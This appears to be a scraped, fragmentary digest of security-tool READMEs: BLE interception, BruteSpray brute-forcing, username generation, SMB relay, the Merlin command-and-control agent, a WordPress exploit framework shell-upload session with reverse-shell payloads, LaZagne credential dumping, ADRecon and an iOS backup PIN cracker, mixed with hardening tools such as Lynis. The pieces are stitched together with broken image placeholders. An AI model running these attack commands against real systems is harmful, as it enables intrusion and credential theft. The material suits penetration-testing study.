• an interception core
• an interception proxy
• a dedicated web interface
• Python and Node.js bindings

sudo apt-get install bluetooth bluez libbluetooth-dev libudev-dev

sudo yum install bluez bluez-libs bluez-libs-devel npm

sudo npm install -g btlejuice

$ sudo hciconfig
hci0: Type: BR/EDR  Bus: USB
 BD Address: 10:02:B5:18:07:AD  ACL MTU: 1021:5  SCO MTU: 96:6
 DOWN
 RX bytes:1433 acl:0 sco:0 events:171 errors:0
 TX bytes:30206 acl:0 sco:0 commands:170 errors:0
$ sudo hiconcig hci0 up

$ sudo btlejuice-proxy

$ sudo service bluetooth stop
$ sudo hciconfig hci0 up

$ sudo btlejuice -u <Proxy IP address> -w

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

$ sudo npm install -g btlejuice-bindings

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

1. Bash install script
2. Docker
3. Manual installation

godep go build -o gosint

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

pip install -r requirements.txt

apt-get install brutespray

python brutespray.py -h

python brutespray.py --file nmap.gnmap

python brutesrpay.py --file nmap.xml

python brutespray.py --file nmap.xml -i

Image may be NSFW.
Clik here to view.

python brutespray.py --file nmap.gnmap -U /usr/share/wordlist/user.txt -P /usr/share/wordlist/pass.txt --threads 5 --hosts 5

python brutespray.py --file nmap.gnmap --service ftp,ssh,telnet --threads 5 --hosts 5

python brutespray.py --file nmap.gnmap -u admin -p password --threads 5 --hosts 5

python brutespray.py --file nmap.gnmap --threads 5 --hosts 5 -c

python brutespray.py --file nmap.xml --threads 5 --hosts 5

python brutespray.py --file nmap.xml -i

Image may be NSFW.
Clik here to view.

• ssh
• ftp
• telnet
• vnc
• mssql
• mysql
• postgresql
• rsh
• imap
• nntp
• pcanywhere
• pop3
• rexec
• rlogin
• smbnt
• smtp
• svn
• vmauthd
• snmp

• v1.6.0
  • added support for SNMP
• v1.5.3
  • adjustments to wordlists
• v1.5.2
  • change tmp and output directory behavior
• v1.5.1
  • added check for no services
• v1.5
  • added interactive mode
• v1.4
  • added ability to use nmap XML
• v1.3
  • added the ability to stop on success
  • added the ability to reference custom userlists and passlists
  • added the ability to specify specific users & passwords

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

• Web scraping employee names from LinkedIn, Facebook, and other social networks.
• Extracting metadata from document types such as PDF, Word, Excel, etc. This can be performed with FOCA.

• Plugin architecture for username formats
• Format string style username format definitions
• Substitutions. e.g. when only a first initial and lastname is known (LinkedIn lists users like this), it will attempt all possible first names
• Country databases of common first and last names from Familypedia and PublicProfiler
• Has the Facebook common first and lastnames lists

• Common forum usernames, ordered by popularity

  ___ ____                                                        
 |   |    \ ______  ____ _______   ____  _____     __ __    ____  
 |   :    //  ___/_/    \\_  __ \ /    \ \__  \   /  :  \ _/    \
 '   .   / \___ \ \   o_/ |  | \/|   :  \ /  o \ |  . .  \\   o_/ 
  \_____/ /______) \_____)|__|   |___:  /(______)|__: :  / \_____)
        _____                         \/       .__     \/      
       /     \    ____  _____  _______   ____  |  |__  ___.__.   
      /   o   \  /    \ \__  \ \_  __ \_/ ___\ |  |  \(   :  |   
     /    .    \|   .  \ /  o \ |  | \/\  \___ |   .  \\___  |   
     \____:__  /|___:__/(______)|__|    \_____)|___:__//_____|   
             \/                                                  
 Usage: ./username-anarchy [OPTIONS]... [firstname|first last|first middle last]
 Author: Andrew Horton (urbanadventurer). Version: 0.5

 Names:
  -i, --input-file FILE     Input list of names. Can be SPACE, CSV or TAB delimited.
                            Defaults to firstname, lastname. Valid column headings are:
                            firstinitial, firstname, lastinitial, lastname,
                            middleinitial, middlename.
  -a, --auto                Automatically generate names from a country/list
  -c, --country COUNTRY     COUNTRY can be one of the following datasets:
                            PublicProfiler:
                            argentina, austria, belgium, canada, china,
                            denmark, france, germany, hungary, india, ireland,
                            italy, luxembourg, netherlands, newzealand, norway,
                            poland, serbia, slovenia, spain, sweden,
                            switzerland, uk, us
                            Other:
                            Facebook - uses the Facebook top 10,000 names
      --given-names FILE    Dictionary of given names
      --family-names FILE   Dictionary of family names
  -s, --substitute STATE    Control name substitutions
                            Valid values are 'on' and 'off'. Default: off
                            Can substitute any part of a name not available
  -m, --max-sub NUM         Limit quantity of substitutions per plugin.
                            Default: -1 (Unlimited)

 Username format:
  -l, --list-formats        List format plugins
  -f, --select-format LIST  Select format plugins by name. Comma delimited list
  -r, --recognise USERNAME  Recognise which format is in use for a username.
                            This uses the Facebook dataset. Use verbose mode to
                            show progress.
  -F, --format FORMAT       Define the user format using either format string or
                            ABK format. See README.md for format details.

 Output:
  -@, --suffix BOOL         Suffix. e.g. @example.com
                            Default: None
  -C BOOL,                  Case insensitive usernames.
      --case-insensitive    Default: True (All lower case)

 Miscellaneous:
  -v, --verbose             Display plugin format comments in output and displays
                            last name searches in plugin format recogniser
  -h, --help

./username-anarchy anna key
anna
annakey
anna.key
annakey
annak
a.key
akey
kanna
k.anna
...

./username-anarchy --input-file ./test-names.txt  --select-format first.last
andrew.horton
jim.vongrippenvud
peter.otoole

./username-anarchy --country france --auto
martin
bernard
thomas
durand
richard
robert
petit
moreau
dubois
simon
martinsmith
martinjohnson
...

./username-anarchy --list-formats
Plugin name          Example
--------------------------------------------------------------------------------
first                anna
firstlast            annakey
first.last           anna.key
firstlast[8]         annakey
firstl               annak
f.last               a.key
flast                akey
lfirst               kanna
l.first              k.anna
lastf                keya
last                 key
last.f               key.a
last.first           key.anna
FLast                AKey
first1               anna0,anna1,anna2
fl                   ak
fmlast               abkey
firstmiddlelast      annaboomkey
fml                  abk
FL                   AK
FirstLast            AnnaKey
First.Last           Anna.Key
Last                 Key
FML                  ABK

./username-anarchy --recognise j.smith
Recognising j.smith. This can take a while.
Username format j.smith recognised. Plugin name: f.last

Firstname,Lastname
Andrew,Horton
Jim, von Grippenvud
Peter,O'Toole

firstname,lastinitial
andrew,h
foo,b

firstname,firstinitial,middleinitial,lastname,lastinitial
andrew,,,horton,
jim,,,,v
,p,,o'toole,

./username-anarchy -F "v-annakey" andrew horton
v-andrewhorton

./username-anarchy -F "v-%f%l" -a -C poland
v-nowaksmith
v-nowakjohnson
v-nowakjones
v-nowakwilliams
v-nowakbrown
v-nowaklee
v-nowakkhan
v-nowaksingh
v-nowakkumar
v-nowakmiller
...

Plugin.define "last.first" do
 def generate(n)
  n.format_anna("key.anna")
 end
end

Plugin.define "first" do
 def generate(n)
  n.format("%f")
 end
end

• %F - Firstname
• %M - Middlename
• %L - Lastname
• %f - firstname
• %m - middlename
• %l - lastname
• %i.f - first initial
• %i.m - middle initial
• %i.l - last initial
• %i.F - First initial
• %i.M - Middle initial
• %i.L - Last initial
• %D - Digit range 0..9
• %DD - Digit range 00..99

• Anna - %F
• Boom - %M
• Key - %L
• anna - %f
• boom - %m
• key - %l
• A - %i.F
• B - %i.M
• K - %i.L
• a - %i.f
• b - %i.m
• k - %i.l

• common-forum-names.csv - A CSV file with forum names and the frequency they appeared with
• common-forum-names-top10k.txt - The top 10,000 forum names
• common-forum-names.txt - 1,774,313 forum names
• phpbb-scraper.rb - a web scraper for usernames on PHPbb forums

• http://worldnames.publicprofiler.org/SearchArea.aspx Some common countries. Top 10 surnames and forenames
• https://secure.wikimedia.org/wikipedia/en/wiki/List_of_most_popular_given_names
• http://www.babynamefacts.com/popularnames/countries.php?country=NZD top 100 baby names per country
• https://secure.wikimedia.org/wikipedia/en/wiki/List_of_most_common_surnames_in_Oceania

• https://secure.wikimedia.org/wikipedia/en/wiki/Capitalization
• http://cpansearch.perl.org/src/KIMRYAN/Lingua-EN-NameParse-1.28/lib/Lingua/EN/NameParse.pm
• http://search.cpan.org/~summer/Lingua-EN-NameCase/NameCase.pm

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

• Physical separation doesn’t rely on a hypervisor. (It’s very unlikely that an attacker will break out of Qubes’ hypervisor, but if one were to manage to do so, one could potentially gain control over the entire system.)
• Physical separation can be a natural complement to physical security. (For example, you might find it natural to lock your secure laptop in a safe when you take your unsecure laptop out with you.)

• Physical separation can be cumbersome and expensive, since we may have to obtain and set up a separate physical machine for each security level we need.
• There’s generally no secure way to transfer data between physically separate computers running conventional OSes. (Qubes has a secure inter-VM file transfer system to handle this.)
• Physically separate computers running conventional OSes are still independently vulnerable to most conventional attacks due to their monolithic nature.
• Malware which can bridge air gaps has existed for several years now and is becoming increasingly common.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

sudo ./relayer.sh

• Scan for SMB Systems on Target Network and List those with SMB signing Disabled
• User selects system to Relay the authentication attempts to
• User selects where to set the Listener for incoming connections
• Relayer creates payload and sets up Responder and SMBRelayX
• Wait for connection attempts to your attacking machine and check Listener

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

• Collects all the packets from Wireless Network. (Probe Response)
• Analyses all the packets in real time.
• If PiKarma finds more than one SSID info from unique mac address in Probe Response;
• Logs the activity with some extra information within defined template and sends deauthentication packets

• Sends Probe Response for all Probe Requests

Image may be NSFW.
Clik here to view.

• FruityWifi
• WiFi Pineapple
• Mana (improvements to KARMA attacks)
• ..

• New techniques for KARMA and MANA attacks

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

$ pip install -r requirements.txt

$ python wphardening.py -h 

 __          _______  _    _               _            _
 \ \        / /  __ \| |  | |             | |          (_)
  \ \  /\  / /| |__) | |__| | __ _ _ __ __| | ___ _ __  _ _ __   __ _
   \ \/  \/ / |  ___/|  __  |/ _` | '__/ _` |/ _ \ '_ \| | '_ \ / _` |
    \  /\  /  | |    | |  | | (_| | | | (_| |  __/ | | | | | | | (_| |
     \/  \/   |_|    |_|  |_|\__,_|_|  \__,_|\___|_| |_|_|_| |_|\__, |
                                                                 __/ |
        Fortify the security of any WordPress installation.     |___/

     Caceria de Spammers - http://www.caceriadespammers.com.ar

Usage: python wphardening.py [options]

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -v, --verbose         Active verbose mode output results
  --update              Check for WPHardening latest stable version

  Target:
    This option must be specified to modify the package WordPress.

    -d DIRECTORY, --dir=DIRECTORY
                        **REQUIRED** - Working Directory.
    --load-conf=FILE    Load file configuration.

  Hardening:
    Different tools to hardening WordPress.

    -c, --chmod         Chmod 755 in directory and 644 in files.
    -r, --remove        Remove files and directory.
    -b, --robots        Create file robots.txt
    -f, --fingerprinting
                        Deleted fingerprinting WordPress.
    -t, --timthumb      Find the library TimThumb.
    --chown=user:group  Changing file and directory owner.
    --wp-config         Wizard generated wp-config.php
    --plugins           Download Plugins Security.
    --proxy=PROXY       Use a HTTP proxy to connect to the target url for
                        --plugins and --wp-config.
    --indexes           It deny you to display the contents of directories.
    --minify            Compressing static file .css and .js
    --malware-scan      Malware Scan in WordPress project.
    --6g-firewall       6G Firewall.
    --rest-api          Disable REST API.

  Miscellaneous:
    -o FILE, --output=FILE
                        Write log report to FILE.log

$ python wphardening.py -d /home/path/to/wordpress -v

$ python wphardening.py -d /home/path/to/wordpress --chmod -v

$ python wphardening.py -d /home/path/to/wordpress --remove -v

$ python wphardening.py -d /home/path/to/wordpress --robots -v

$ python wphardening.py -d /home/path/to/wordpress --fingerprinting -v

$ python wphardening.py -d /home/path/to/wordpress --timthumb -v

$ python wphardening.py -d /home/path/to/wordpress --indexes -v

• AntiVirus
• Bad Behavior
• Block Bad Queries
• Exploit Scanner
• Latch
• NinjaFirewall
• Simple History
• Stream
• WP Security Scan
• WP-DBManager
• WPS Hide Login

$ python wphardening.py -d /home/path/to/wordpress --plugins

$ python wphardening.py -d /home/path/to/wordpress --wp-config

$ python wphardening.py -d /home/path/to/wordpress --6g-firewall

$ python wphardening.py -d /home/path/to/wordpress --rest-api

$ python wphardening.py --update

$ python wphardening.py -d /home/path/to/wordpress -c -r -f -t --wp-config --indexes --plugins --6g-firewall --rest-api -o /home/user/wphardening.log

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

It is recommended to download the compiled binaries from the Releases section

Ensure your GOPATH environment variable is set

  -debug
        Enable debug output
  -i string
        The IP address of the interface to bind to (default "0.0.0.0")
  -p int
        Merlin Server Port (default 443)
  -v    Enable verbose output
  -x509cert string
        The x509 certificate for the HTTPS listener (default "C:\\Merlin\\data\\x509\\server.crt")
  -x509key string
        The x509 certificate key for the HTTPS listener (default "C:\\Merlin\\data\\x509\\server.key")

exit    Exit and close Merlin

help   Show Merlin help menu

quit    Exit and close Merlin

?      Show Merlin help menu

agent cmd <agent id> <command>       A command to run on a remote agent

agent control <agent id> <command>  Configure/Control a remote agent (not the host)
                [kill,sleep,padding,maxretry]

agent info <agent id>               Display all information for an agent

agent list                          List agents

It is recommended to download the compiled binaries from the Releases section

Ensure your GOPATH environment variable is set!

Example: go build -o merlinagent.exe -ldflags "-X main.url=https://acme.com:443/" cmd/merlinagent/main.go

  -debug
        Enable debug output
  -sleep duration
        Time for agent to sleep (default 10s)
  -url string
        Full URL for agent to connect to (default "https://127.0.0.1:443")
  -v    Enable verbose output

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

• Information Gathering
• Password Attacks
• Wireless Testing
• Exploitation Tools
• Sniffing & Spoofing
• Web Hacking
• Private Web Hacking
• Post Exploitation
• INSTALL & UPDATE

• Nmap
• Setoolkit
• Port Scanning
• Host To IP
• wordpress user
• CMS scanner
• XSStracer
• Dork - Google Dorks Passive Vulnerability Auditor
• Scan A server's Users

• Cupp
• Ncrack

• reaver
• pixiewps

• Venom
• sqlmap
• Shellnoob
• commix
• FTP Auto Bypass
• jboss-autopwn

• Setoolkit
• SSLtrip
• pyPISHER
• SMTP Mailer

• Drupal Hacking
• Inurlbr
• Wordpress & Joomla Scanner
• Gravity Form Scanner
• File Upload Checker
• Wordpress Exploit Scanner
• Wordpress Plugins Scanner
• Shell and Directory Finder
• Joomla! 1.5 - 3.4.5 remote code execution
• Vbulletin 5.X remote code execution
• BruteX - Automatically brute force all services running on a target
• Arachni - Web Application Security Scanner Framework

• Get all websites
• Get joomla websites
• Get wordpress websites
• Control Panel Finder
• Zip Files Finder
• Upload File Finder
• Get server users
• SQli Scanner
• Ports Scan (range of ports)
• ports Scan (common ports)
• Get server Info
• Bypass Cloudflare

• Shell Checker
• POET
• Phishing Framework

• Install Directly On System (Only For Linux & Mac System )
• Update instantly When There are New Update

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

1.2. What it can do? (features)

• scan for devices, show advanced info, SDP records, vendor etc
• track devices - show where and how much times device was seen, its name changes
• loop scan - it can scan all time, showing you online devices
• alerts with sound if new device found
• on_new_device - you can spacify what command should it run when it founds new device
• it can use separate dongles - one for scaning (loop scan) and one for running tools or exploits
• send files
• change name, class, mode, BD_ADDR of local HCI devices
• save results in database
• form nice statistics (uniq devices by day/hour, vendors, services etc)
• test remote device for known vulnerabilities (see exploits for more details)
• test remote device for unknown vulnerabilities (see tools for more details)
• themes! you can customize it

1.3. What tools and exploits it consist of?

• tools:
• atshell.c by Bastian Ballmann (modified attest.c by Marcel Holtmann)
• bccmd by Marcel Holtmann
• bdaddr.c by Marcel Holtmann
• bluetracker.py by smiley
• carwhisperer v0.2 by Martin Herfurt
• psm_scan and rfcomm_scan from bt_audit-0.1.1 by Collin R. Mulliner
• BSS (Bluetooth Stack Smasher) v0.8 by Pierre Betouin
• btftp v0.1 by Marcel Holtmann
• btobex v0.1 by Marcel Holtmann
• greenplaque v1.5 by digitalmunition.com
• L2CAP packetgenerator by Bastian Ballmann
• obex stress tests 0.1
• redfang v2.50 by Ollie Whitehouse
• ussp-push v0.10 by Davide Libenzi
• exploits/attacks:
• Bluebugger v0.1 by Martin J. Muench
• bluePIMp by Kevin Finisterre
• BlueZ hcidump v1.29 DoS PoC by Pierre Betouin
• helomoto by Adam Laurie
• hidattack v0.1 by Collin R. Mulliner
• Mode 3 abuse attack
• Nokia N70 l2cap packet DoS PoC Pierre Betouin
• opush abuse (prompts flood) DoS attack
• Sony-Ericsson reset display PoC by Pierre Betouin
• you can add your own tools by editing 'exploits/exploits.lst' and 'tools/tools.lst'

1.4. Requirements

• OS (tested with Debian 4.0 Etch / 2.6.18)
• python (python 2.4 http://www.python.org)
• wxPython (python-wxgtk2.6 http://www.wxpython.org)
• BlueZ (3.9/3.24) http://www.bluez.org
• Eterm to open tools somewhere, you can set another term in 'config/defaul.conf' changing the value of 'cmd_term' variable. (tested with 1.1 ver)
• pkg-config(0.21), 'tee' used in tools/showmaxlocaldevinfo.sh, openobex, obexftp
• libopenobex1 + libopenobex-dev (needed by ussp-push)
• libxml2, libxml2-dev (needed by btftp)
• libusb-dev (needed by bccmd)
• libreadline5-dev (needed by atshell.c)
• lightblue-0.3.3 (needed by obexstress.py)
• hardware: any bluez compatible bluetooth-device

1.5. Configuration

1. all configuration is in 'config' dir.
2. for using bluemaho propertly you need to build tools and exploits. check if you satisfy 'requirements' for bluemaho. then run 'build.sh'. if you see 'Building complete!' message, than all went OK. if not - try to play around requirements.
3. 'default.conf' is a default configuration file, you can edit it if you need to change some options, path to files and commands used by bluemaho, theme etc. by default you don't need to change it if you do all from 'requirements' chapter. but, please, view it, for example just for setting 'user_location' variable for defining you location, which will be used for tracking function.
4. 'themes' - directory with themes for bluemaho GUI. You can set path to default theme with 'theme' variable in 'default.conf'

1.6. Run and use

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

• Whois lookup
• Traceroute
• DNS Lookup
• Reverse DNS Lookup
• GeoIP Lookup
• Port Scan
• Reverse IP Lookup
• INSTALL & UPDATE
• Exit

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

• AIX
• FreeBSD
• HP-UX
• Linux
• Mac OS
• NetBSD
• OpenBSD
• Solaris
• and others

1. Determine operating system
2. Search for available tools and utilities
3. Check for Lynis update
4. Run tests from enabled plugins
5. Run security tests per category
6. Report status of security scan

• Security auditing
• Compliance testing (e.g. PCI, HIPAA, SOx)
• Vulnerability detection and scanning
• System hardening

• Best practices
• CIS
• NIST
• NSA
• OpenSCAP data
• Vendor guides and recommendations (e.g. Debian Gentoo, Red Hat)

Changes:
--------
* Check for empty files improved on several locations
* New allow-auto-purge setting in profile for short-lived systems
* Additional checks for log and report file
* Changes to support time synchronization in old and newer systemd releases
* Enhanced output for systems other than Linux

Plugins:
--------
* New class (hardware) added and enabled in default profile

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

• High speed and precision
• CLI ( Console based )
• Run the arbitrary command after the attack is successful ( Default 'Uname -a' )
• Telegram messanger support for sending reports via bot API

Redlogin.exe  (Optional) -telegram
 ==> List of targets ip list
 ==> List of usernames want to test
 ==> List of passwords want to test
==> Telegram bot token via @BotFather
==> Telegram chatid via @userinfobot

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

• msfvenom
• python2

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

sudo apt-get install build-essential patch

sudo apt-get install ruby-dev zlib1g-dev liblzma-dev

sudo gem install bundler
sudo bundle install
sudo ruby wpxf.rb

wpxf > use exploit/symposium_shell_upload

[+] Loaded module: #<Wpxf::Exploit::SymposiumShellUpload:0x3916f20>

wpxf [exploit/symposium_shell_upload] > set host wp-sandbox

[+] Set host => wp-sandbox

wpxf [exploit/symposium_shell_upload] > set target_uri /wordpress/

[+] Set target_uri => /wordpress/

wpxf [exploit/symposium_shell_upload] > set payload exec

[+] Loaded payload: #<Wpxf::Payloads::Exec:0x434d078>

wpxf [exploit/symposium_shell_upload] > set cmd echo "Hello, world!"

[+] Set cmd => echo "Hello, world!"

wpxf [exploit/symposium_shell_upload] > run

[-] Preparing payload...
[-] Uploading the payload...
[-] Executing the payload...
[+] Result: Hello, world!
[+] Execution finished successfully

• bind_php: uploads a script that will bind to a specific port and allow WPXF to establish a remote shell.
• custom: uploads and executes a custom PHP script.
• download_exec: downloads and runs a remote executable file.
• meterpreter_bind_tcp: a Meterpreterbind TCP payload generated using msfvenom.
• meterpreter_reverse_tcp: a Meterpreter reverse TCP payload generated using msfvenom.
• exec: runs a shell command on the remote server and returns the output to the WPXF session.
• reverse_tcp: uploads a script that will establish a reverse TCP shell.

• Fix API compatibility in Estatik 2.2.5 shell upload

• Upgrade required Ruby version to 2.4.2
• Upgrade Nokogiri to 1.8.1
• Upgrade rubyzip to 1.2.1
• Upgrade Slop to 4.5.0
• Upgrade Typhoeus to 1.3.0
• Upgrade RSpec to 3.7

• Add new mixin to provide comment posting functionality
• Add new mixin for creating hash dump auxiliary modules
• Add support for multiple potential upload locations in the ShellUpload mixin

• Add Responsive Image Gallery <= 1.2.0 hash dump
• Add SQL Shortcode <= 1.1 hash dump
• Add JTRT Responsive Tables <= 4.1 hash dump
• Add Simple Events Calendar <= 1.3.5 hash dump
• Add Pootle Button < 1.2 reflected XSS shell upload
• Add Embed Images in Comments <= 0.5 stored XSS shell upload
• Add Qards local port scan
• Add WP Support Plus Responsive Ticket System < 8.0.8 shell upload
• Add Events <= 2.3.4 hash dump

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

• Retrieve version

laZagne.exe --version

• Launch all modules

laZagne.exe all

• Launch only a specific module

laZagne.exe browsers

• Launch only a specific software script

laZagne.exe browsers -f (for Firefox)

• Write all passwords found into a file (-oN for Normal txt, -oJ for Json, -oA for All)

laZagne.exe all -oN

• Get help

laZagne.exe -h
laZagne.exe browsers -h

• Use a file for dictionary attacks (used only when it's necessary: Mozilla Master Password, system hashes, etc.). The file has to be a wordlist in cleartext (no rainbow), it has not been optimized to be fast but could be useful for basic passwords.

laZagne.exe all -path file.txt

• Change verbosity mode (2 different levels)

laZagne.exe all -vv

• Quiet mode (nothing will be printed on the standard output)

laZagne.exe all -quiet -oA

• Retrieve passwords on another drive (default: C)

laZagne.exe all -drive D

• If you know the user password, add it in the command line

laZagne all --password SuperSecurePassword

• You could use the interactive mode that will prompt a dialog box to the user until the password will be correct

laZagne all -i

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

• Forest;
• Domains in the Forest and other attributes such as Sites;
• Domain Password Policy;
• Domain Controllers and their roles;
• Users and their attributes;
• Service Principal Names;
• Groups and and their members;
• Organizational Units and their ACLs;
• Group Policy Object details;
• DNS Zones;
• Printers;
• Computers and their attributes;
• LAPS passwords (if implemented); and
• BitLocker Recovery Keys (if implemented).

• .NET Framework 3.0 or later (Windows 7 includes 3.0)
• PowerShell 2.0 or later (Windows 7 includes 2.0)

• Microsoft Excel (to generate the report)
• Remote Server Administration Tools (RSAT):
  • Windows 10 (https://www.microsoft.com/en-au/download/details.aspx?id=45520)
  • Windows 7 (https://www.microsoft.com/en-au/download/details.aspx?id=7887)

git clone https://github.com/sense-of-security/ADRecon.git

PS C:\> .\ADRecon.ps1

PS C:\>.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username>

PS C:\>.\ADRecon.ps1 -Protocol LDAP -DomainController <IP or FQDN> -Credential <domain\username>

PS C:\>.\ADRecon.ps1 -Protocol ADWS -DomainController <IP or FQDN> -Credential <domain\username> -Collect Domian, DCs

PS C:\>.\ADRecon.ps1 -GenExcel C:\ADRecon-Report-<timestamp>

-Protocol <String>
    Which protocol to use; ADWS (default) or LDAP

-DomainController <String>
    Domain Controller IP Address or Domain FQDN.

-Credential <PSCredential>
    Domain Credentials.

-GenExcel <String>
    Path for ADRecon output folder containing the CSV files to generate the ADRecon-Report.xlsx. Use it to generate the ADRecon-Report.xlsx when Microsoft Excel is not installed on the host used to run ADRecon.

-Collect <String>
    What attributes to collect (Comma separated; e.g Forest,Domain)
    Valid values include: Forest, Domain, PasswordPolicy, DCs, Users, UserSPNs, Groups, GroupMembers, OUs, OUPermissions, GPOs, DNSZones, Printers, Computers, ComputerSPNs, LAPS, BitLocker.

-DormantTimeSpan <Int>
    Timespan for Dormant accounts.

-PageSize <Int>
    The PageSize to set for the LDAP searcher object. (Default 200)

-Threads <Int>
    The number of threads to use during processing objects (Default 10)

-FlushCount <Int>
    The number of processed objects which will be flushed to disk. (Default -1 - Flush after all objects are processed).

• Replace System.DirectoryServices.DirectorySearch with System.DirectoryServices.Protocols and add support for LDAP STARTTLS and LDAPS (TCP port 636).
• Add Domain Trust Enumeration.
• Gather ACLs for the useraccountcontrol attribute and the ms-mcs-admpwd LAPS attribute to determine which users can read the values.
• Gather DS_CONTROL_ACCESS and Extended Rights, such as User-Force-Change-Password, DS-Replication-Get-Changes, DS-Replication-Get-Changes-All, etc. which can be used as alternative attack vectors.
• Additional export and storage option: export to STDOUT, SQLite, xml, html.
• List issues identified and provide recommended remediation advice based on analysis of the data.

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

$ pip install -r requirements.txt

$ apt-get install sox ffmpeg selenium

$ python main.py --audio --reddit

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

1. Get the Base64 key and salt from the backup file in Computer.
2. Decode the Base64 key and salt.
3. Try from 1 to 9999 to with the pbkdf2-hmac-sha1 hash with passlib (passlib moudle need to be installed before:easy_install passlib)

1. Make sure to use Itunes to back up the ios device to Computer
   
2. Run ioscrack.py
   

python ioscrack.py

Image may be NSFW.
Clik here to view.